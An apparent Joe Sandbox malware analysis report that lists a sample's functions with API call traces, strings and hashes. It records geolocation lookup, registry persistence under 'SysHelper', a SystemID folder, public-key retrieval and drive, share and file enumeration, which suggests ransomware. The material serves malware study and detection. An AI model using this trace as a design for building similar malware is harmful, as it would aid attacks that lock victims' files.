Instruction Fuzzy Hash: 85C19171508340AFDB20DF25DD45B9BBBE0FF85318F14492EF888863A1D7799885CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040CF10 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 228
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040CF4A
InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0040CFCD
InternetCloseHandle.WININET(00000000), ref: 0040CFDA
InternetCloseHandle.WININET(00000000), ref: 0040CFDD

Strings

Microsoft Internet Explorer, xrefs: 0040CF5A
"country_code":", xrefs: 0040CFE1
https://api.2ip.ua/geo.json, xrefs: 0040CF79

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileRead_memset
String ID: "country_code":"$Microsoft Internet Explorer$https://api.2ip.ua/geo.json
API String ID: 1485416377-2962370585
Opcode ID: 0805b9f8892e75a0c503b3632afaad7c8239eac82df1340367160222ea91e53d
Instruction ID: 63dc5d72282b855868e1768d03255ed744c0e271f8772f8e66d922d9032ce3a5
Opcode Fuzzy Hash: 0805b9f8892e75a0c503b3632afaad7c8239eac82df1340367160222ea91e53d
Instruction Fuzzy Hash: 0F91B470D00218EBDF10DF90DD55BEEBBB4AF05308F14416AE4057B2C1DBBA5A89CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00423576 Relevance: 15.3, APIs: 10, Instructions: 258
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 004235B1

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__gmtime64_s.LIBCMT ref: 0042364A
__gmtime64_s.LIBCMT ref: 00423680
__gmtime64_s.LIBCMT ref: 0042369D
__allrem.LIBCMT ref: 004236F3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0042370F
__allrem.LIBCMT ref: 00423726
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423744
__allrem.LIBCMT ref: 0042375B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423779

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit_memset
String ID:
API String ID: 1503770280-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: ab95fd8d4aa8d0004faaa41ec126efad4d06c0b8c45c9850b5361983c80b405c
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 6E7108B1B00726BBD7149E6ADC41B5AB3B8AF40729F54823FF514D6381E77CEA408798

Uniqueness

Uniqueness Score: -1.00%

Function 0040C740 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 00420FDD: __wfsopen.LIBCMT ref: 00420FE8

_fgetws.LIBCMT ref: 0040C7BC
_memmove.LIBCMT ref: 0040C89F
CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B

Strings

C:\SystemID, xrefs: 0040C946
C:\SystemID\PersonalID.txt, xrefs: 0040C77C, 0040C956

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: CreateDirectory__wfsopen_fgetws_memmove
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2864494435-54166481
Opcode ID: 668aece8c99ea5c9e6175df748f0ede5af6f34e9147d9484ea9038d6ec1cbe4f
Instruction ID: 3a80d152ee3a33a632d987be3a831cd6f981e29f6d1810208bb328cacc5ceb60
Opcode Fuzzy Hash: 668aece8c99ea5c9e6175df748f0ede5af6f34e9147d9484ea9038d6ec1cbe4f
Instruction Fuzzy Hash: 449193B2E00219DBCF20DFA5D9857AFB7B5AF04304F54463BE805B3281E7799A44CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040C6A0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,0041E6D4), ref: 0040C6C2
RegQueryValueExW.KERNEL32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
RegCloseKey.ADVAPI32(00000000), ref: 0040C700
RegSetValueExW.KERNEL32(00000000,SysHelper,00000000,00000004,?,00000004), ref: 0040C725
RegCloseKey.ADVAPI32(00000000), ref: 0040C72E

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040C6B8
SysHelper, xrefs: 0040C6EB, 0040C71D

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: CloseValue$OpenQuery
String ID: Software\Microsoft\Windows\CurrentVersion$SysHelper
API String ID: 3962714758-1667468722
Opcode ID: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction ID: 83d53c3b81c5c3826f22504a9cab54a14a7287ca0244f3776693af22b4817dfa
Opcode Fuzzy Hash: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction Fuzzy Hash: 60112D7594020CFBDB109F91CC86FEEBB78EB04708F2041A5FA04B22A1D7B55B14AB58

Uniqueness

Uniqueness Score: -1.00%

Function 0041E6E8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44stringnetworkfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041E707

Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?), ref: 0040C51B

InternetOpenW.WININET ref: 0041E743
_wcsstr.LIBCMT ref: 0041E7AE
_memmove.LIBCMT ref: 0041E838
lstrcpyW.KERNEL32(?,?), ref: 0041E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
InternetCloseHandle.WININET(00000000), ref: 0041E9F3
InternetCloseHandle.WININET(00000000), ref: 0041E9F6
_strstr.LIBCMT ref: 0041EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
DeleteFileA.KERNEL32(?), ref: 0041EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
lstrcpyA.KERNEL32(?,?), ref: 0041EABA
lstrlenA.KERNEL32(?), ref: 0041EAC8
lstrlenA.KERNEL32(00000022), ref: 0041EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
lstrlenA.KERNEL32(?), ref: 0041EB7C
_malloc.LIBCMT ref: 0041EB86
_memset.LIBCMT ref: 0041EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
_strstr.LIBCMT ref: 0041EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
DeleteFileA.KERNEL32(?), ref: 0041EC32

Strings

bowsakkdestx.txt, xrefs: 0041EA67
{"public_key":", xrefs: 0041EA2E

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Path$Internetlstrcpylstrlen$Folder$AppendFile$CloseDeleteHandleOpen_memset_strstr$ByteCharMultiReadWide_malloc_memmove_wcsstrlstrcat
String ID: bowsakkdestx.txt${"public_key":"
API String ID: 2805819797-1771568745
Opcode ID: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction ID: c8d03ce4d59ef2fdab541fe9505dce31f646fa9b39186cada3cd653a8fd1c75a
Opcode Fuzzy Hash: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction Fuzzy Hash: 3901D234448391ABD630DF119C45FDF7B98AF51304F44482EFD8892182EF78A248879B

Uniqueness

Uniqueness Score: -1.00%

Function 0040C500 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?), ref: 0040C51B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C539

Strings

bowsakkdestx.txt, xrefs: 0040C52D

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: 474c6379b963d257ae86b00d206dade7857df39941341afbbe7ce7c2bd65e929
Instruction ID: a05810460da3035b09b2d6f50620da2975429261b58b3288bff945a9ad0f9da5
Opcode Fuzzy Hash: 474c6379b963d257ae86b00d206dade7857df39941341afbbe7ce7c2bd65e929
Instruction Fuzzy Hash: 281127B2B4023833D930756A7C87FEB735C9B42725F4001B7FE0CA2182A5AE554501E9

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA80 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD
ShowWindow.USER32(00000000,00000000), ref: 0041BABE
UpdateWindow.USER32(00000000), ref: 0041BAC5

Strings

LPCWSTRszWindowClass, xrefs: 0041BAA0
LPCWSTRszTitle, xrefs: 0041BA9B

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Window$CreateShowUpdate
String ID: LPCWSTRszTitle$LPCWSTRszWindowClass
API String ID: 2944774295-3503800400
Opcode ID: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction ID: 93e3ae8c3ab6e4512016b3ef7200399996c0305a41779b72c5d02abe3f8cd5ff
Opcode Fuzzy Hash: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction Fuzzy Hash: 08E04F316C172077E3715B15BC5BFDA2918FB05F10F308119FA14792E0C6E569428A8C

Uniqueness

Uniqueness Score: -1.00%

Function 00410BD0 Relevance: 7.7, APIs: 5, Instructions: 234sharememoryCOMMON

Download Yara Rule

APIs

WNetOpenEnumW.MPR(00000002,00000000,00000000,00000000,?), ref: 00410C12
GlobalAlloc.KERNEL32(00000040,00004000), ref: 00410C39
_memset.LIBCMT ref: 00410C4C
WNetEnumResourceW.MPR(?,?,00000000,?), ref: 00410C63

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Enum$AllocGlobalOpenResource_memset
String ID:
API String ID: 364255426-0
Opcode ID: 54b312cc4ee8bd09624119d4c268e334e055f93c635bfd49589b22278edf9028
Instruction ID: bd97fe2cb621df6ca28f66a093f1f6e361520364a30ff1ea4190286e2c40543e
Opcode Fuzzy Hash: 54b312cc4ee8bd09624119d4c268e334e055f93c635bfd49589b22278edf9028
Instruction Fuzzy Hash: 0F91B2756083418FD724DF55D891BABB7E1FF84704F14891EE48A87380E7B8A981CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00410A50 Relevance: 7.6, APIs: 5, Instructions: 104COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00410A75
SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
PathFileExistsA.SHLWAPI(?), ref: 00410AF9
SetErrorMode.KERNEL32(00000000), ref: 00410B02
GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: ErrorMode$DriveDrivesExistsFileLogicalPathType
String ID:
API String ID: 2560635915-0
Opcode ID: 9cf4115f6ab5f312c7d5ab5fafac651d84384dd21be8c3f7d34f97050f31f4b0
Instruction ID: e48b338c548d72163c5ae3f73f283317dfaad29deff82c686574d6b9df2ed0f8
Opcode Fuzzy Hash: 9cf4115f6ab5f312c7d5ab5fafac651d84384dd21be8c3f7d34f97050f31f4b0
Instruction Fuzzy Hash: 6141F271108340DFC710DF69C885B8BBBE4BB85718F500A2EF089922A2D7B9D584CB97

Uniqueness

Uniqueness Score: -1.00%

Function 00423B4C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00423B64

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(007F0000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

std::exception::exception.LIBCMT ref: 00423B82
__CxxThrowException@8.LIBCMT ref: 00423B97

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

Strings

bad allocation, xrefs: 00423B77

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
String ID: bad allocation
API String ID: 3074076210-2104205924
Opcode ID: 41d0f7cd09fa4eadc8256bc8480dfff67c0646006f0d2c4ede7b8dfc40954e9a
Instruction ID: 445f5c97f97310cbd08f0009147839d9c604c92f3643d32107fe893a2d7397f3
Opcode Fuzzy Hash: 41d0f7cd09fa4eadc8256bc8480dfff67c0646006f0d2c4ede7b8dfc40954e9a
Instruction Fuzzy Hash: 74F0F97560022D66CB00AF99EC56EDE7BECDF04315F40456FFC04A2282DBBCAA4486DD

Uniqueness

Uniqueness Score: -1.00%

Function 0040F0E0 Relevance: 6.1, APIs: 4, Instructions: 86filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000,00000000,?,?), ref: 0040F125
lstrlenA.KERNEL32(?,?,00000000), ref: 0040F198
WriteFile.KERNEL32(00000000,?,00000000), ref: 0040F1A1
CloseHandle.KERNEL32(00000000), ref: 0040F1A8

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWritelstrlen
String ID:
API String ID: 1421093161-0
Opcode ID: 60d9f6127d6b11bfac00005b48f04bd8148e51489cf0d6db646d7855f6be01de
Instruction ID: 4e0a1a2928686de7afe91093b481d52cb6f90b47dd46c4e49af8be4df8d63ea4
Opcode Fuzzy Hash: 60d9f6127d6b11bfac00005b48f04bd8148e51489cf0d6db646d7855f6be01de
Instruction Fuzzy Hash: DF31F531A00104EBDB14AF68DC4ABEE7B78EB05704F50813EF9056B6C0D7796A89CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0041B185 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147windowCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0041B1BA

Part of subcall function 004111C0: CreateFileW.KERNEL32(00000000,C0000000,00000001,00000000,00000003,00000080,00000000,?,00000000,?), ref: 0041120F
Part of subcall function 004111C0: GetFileSizeEx.KERNEL32(00000000,?,?,00000000,?), ref: 00411228
Part of subcall function 004111C0: CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041123D
Part of subcall function 004111C0: MoveFileW.KERNEL32(00000000,?), ref: 00411277

Part of subcall function 0041BA10: LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
Part of subcall function 0041BA10: RegisterClassExW.USER32(00000030), ref: 0041BA73

Part of subcall function 0041BA80: CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD

GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0041B4B3
TranslateMessage.USER32(?), ref: 0041B4CD
DispatchMessageW.USER32(?), ref: 0041B4D7

Strings

I:\5d2860c89d774.jpg, xrefs: 0041B32F
%username%, xrefs: 0041B283

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: FileMessage$Create$ClassCloseCursorDispatchHandleLoadMoveNameRegisterSizeTranslateUserWindow
String ID: %username%$I:\5d2860c89d774.jpg
API String ID: 441990211-897913220
Opcode ID: 4f3b55efb1038d6a211e9fd8528573cfcaa3c93caac539f90d5f80e48fc63da4
Instruction ID: 53fb4cb99f7e95a824910e08ad4bb0dd21933b0d591bc71827c80b4e91f39c04
Opcode Fuzzy Hash: 4f3b55efb1038d6a211e9fd8528573cfcaa3c93caac539f90d5f80e48fc63da4
Instruction Fuzzy Hash: 015188715142449BC718FF61CC929EFB7A8BF54348F40482EF446431A2EF78AA9DCB96

Uniqueness

Uniqueness Score: -1.00%

Function 0040C919 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B
_fputws.LIBCMT ref: 0040C9C6
_fputws.LIBCMT ref: 0040C9E8
_fputws.LIBCMT ref: 0040C9F3

Strings

C:\SystemID, xrefs: 0040C946
C:\SystemID\PersonalID.txt, xrefs: 0040C956

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _fputws$CreateDirectory
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2590308727-54166481
Opcode ID: b7d04aaf57e2c38a629a4b8fb192307efab073ba7f3b957db105f9608cfaa5d8
Instruction ID: 548e7949761e073c688dfdb6472f733b12cf2ebad02737ba307de427565b7e5f
Opcode Fuzzy Hash: b7d04aaf57e2c38a629a4b8fb192307efab073ba7f3b957db105f9608cfaa5d8
Instruction Fuzzy Hash: 9911E672A00315EBCF20DF65DC8579A77A0AF10318F10063BED5962291E37A99588BCA

Uniqueness

Uniqueness Score: -1.00%

Function 00454C00 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 23COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00454AE0: GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,00000000,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
Part of subcall function 00454AE0: GetFileType.KERNEL32(00000000), ref: 00454B05
Part of subcall function 00454AE0: __vfwprintf_p.LIBCMT ref: 00454B27

_raise.LIBCMT ref: 00454C18

Part of subcall function 0042A12E: __getptd_noexit.LIBCMT ref: 0042A16B

Part of subcall function 00427CEC: _doexit.LIBCMT ref: 00427CF6

Strings

%s(%d): OpenSSL internal error, assertion failed: %s, xrefs: 00454C0C

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: FileHandleType__getptd_noexit__vfwprintf_p_doexit_raise
String ID: %s(%d): OpenSSL internal error, assertion failed: %s
API String ID: 2149077303-4210838268
Opcode ID: c8b60d106a6ddf9770fe8ded3b270afc7ab6773223e56d6f9ab2ba1de5c26324
Instruction ID: fa72e03f5863b2a05375eef283b674a1c5903e86e1e3734bc2555e426bc738f9
Opcode Fuzzy Hash: c8b60d106a6ddf9770fe8ded3b270afc7ab6773223e56d6f9ab2ba1de5c26324
Instruction Fuzzy Hash: 6FD09E795892107FED022791EC07A1E7A51AF9471CF808419F69A041A2D6768534AA5B

Uniqueness

Uniqueness Score: -1.00%

Function 0040FD57 Relevance: 3.1, APIs: 2, Instructions: 134fileCOMMON

Download Yara Rule

APIs

PathFindExtensionW.SHLWAPI(?,00000000,-00000002,?,00000000,000000FF), ref: 0040FF4D
_wcsstr.LIBCMT ref: 0040FF7E
_wcsstr.LIBCMT ref: 0040FFC4
_wcsstr.LIBCMT ref: 0040FFEF
_wcsstr.LIBCMT ref: 0041001C
FindNextFileW.KERNEL32(?,?), ref: 0041005A
FindClose.KERNELBASE(?), ref: 0041006C

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _wcsstr$Find$CloseExtensionFileNextPath
String ID:
API String ID: 2799698630-0
Opcode ID: 023a5e4594b2b134ccb47761ea9753373c1413cdfdc79960d73940e7dadb6721
Instruction ID: 5ab157793dcca273c0e587975c0a14bd2b460513ddb2d20d8000ed9fb441c990
Opcode Fuzzy Hash: 023a5e4594b2b134ccb47761ea9753373c1413cdfdc79960d73940e7dadb6721
Instruction Fuzzy Hash: 30519D70D00219DAEF20DF60DD457DEBBB5BF15308F4040BAD40A66291EB7A9AC9CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00423A38 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__lock_file.LIBCMT ref: 00423A7D

Part of subcall function 00420E53: __lock.LIBCMT ref: 00420E76

__fclose_nolock.LIBCMT ref: 00423A88

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
